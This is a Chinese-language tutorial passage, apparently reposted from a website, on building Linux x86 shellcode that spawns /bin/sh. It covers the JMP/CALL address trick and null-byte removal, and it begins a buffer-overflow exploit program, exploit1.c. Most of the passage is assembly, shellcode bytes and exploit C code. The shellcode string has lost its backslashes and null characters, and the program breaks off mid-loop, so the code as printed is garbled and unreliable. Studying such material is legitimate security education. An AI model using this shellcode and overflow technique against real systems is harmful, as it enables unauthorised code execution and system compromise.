看了上面的代码,现在我们可以把它精简为下面的汇编语言程序: leal string,string_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 (我对Linux的汇编语言格式了解不多,所以这几句使用的是DOS汇编语言的格式) string db "/bin/sh",0 string_addr dd 0 null_addr dd 0 但是这段代码中还存在着一个问题 ,就是我们在编写ShellCode时并不知道这段程序执行时在内存中所处的位置,所以像: movl string_addr,%ebx 这种需要将绝对地址编码进机器语言的指令根本就没法使用. 解决这个问题的一个办法就是使用一条额外的JMP和CALL指令. 因为这两条指令编码使用的都是 相对于IP的偏移地址而不是绝对地址, 所以我们可以在ShellCode的最开始加入一条JMP指令, 在string前加入一条CALL指令. 只要我们计算好程序编码的字节长度,就可以使JMP指令跳转到CALL指令处执行,而CALL指令则指向JMP的下一条指令,因为在执行CALL指令时,CPU会将返回地址(在这里就是string的地址)压入堆栈,所以这样我们就可以在运行时获得string的绝对地址.通过这个地址加偏移的间接寻址方法,我们还可以很方便地存取string_addr和null_addr. 经过上面的修改,我们的ShellCode变成了下面的样子: jmp 0x20 popl esi movb $0x0,0x7(%esi) movl %esi,0x8(%esi) movl $0x0,0xC(%esi) movl $0xb,%eax movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xC(%esi),%edx int $0x80 call -0x25 string db "/bin/sh",0 string_addr dd 0 null_addr dd 0 # 2 bytes,跳转到CALL # 1 byte, 弹出string地址 # 4 bytes,将string变为以''结尾的字符串 # 7 bytes # 5 bytes # 2 bytes # 3 bytes # 3 bytes # 2 bytes # 5 bytes,跳转到popl %esi 我们知道C语言中的字符串以''结尾,strcpy等函数遇到''就结束运行.因此为了保证我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含有''. 下面我们就对它作最后一次改进,去掉其中的'': 原指令: 替换为: movb $0x0,0x7(%esi) xorl %eax,%eax movl $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) movl $0xb,%eax movb $0xb,%al OK! 现在我们可以试验一下这段ShellCode了. 首先我们把它封装为C语言的形式. void main() { __asm__(" jmp 0x18 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes call 0x2d # 5 bytes .string "/bin/sh" # 8 bytes "); } 经过编译后,用gdb得到这段汇编语言的机器代码为: xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh 现在我们可以写我们的试验程序了: exploit1.c: char shellcode[] = "xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for(i=0;i<32;i++) *(long_ptr+i)=(int)buffer; for(i=0;i
(出处:http://www.sheup.com)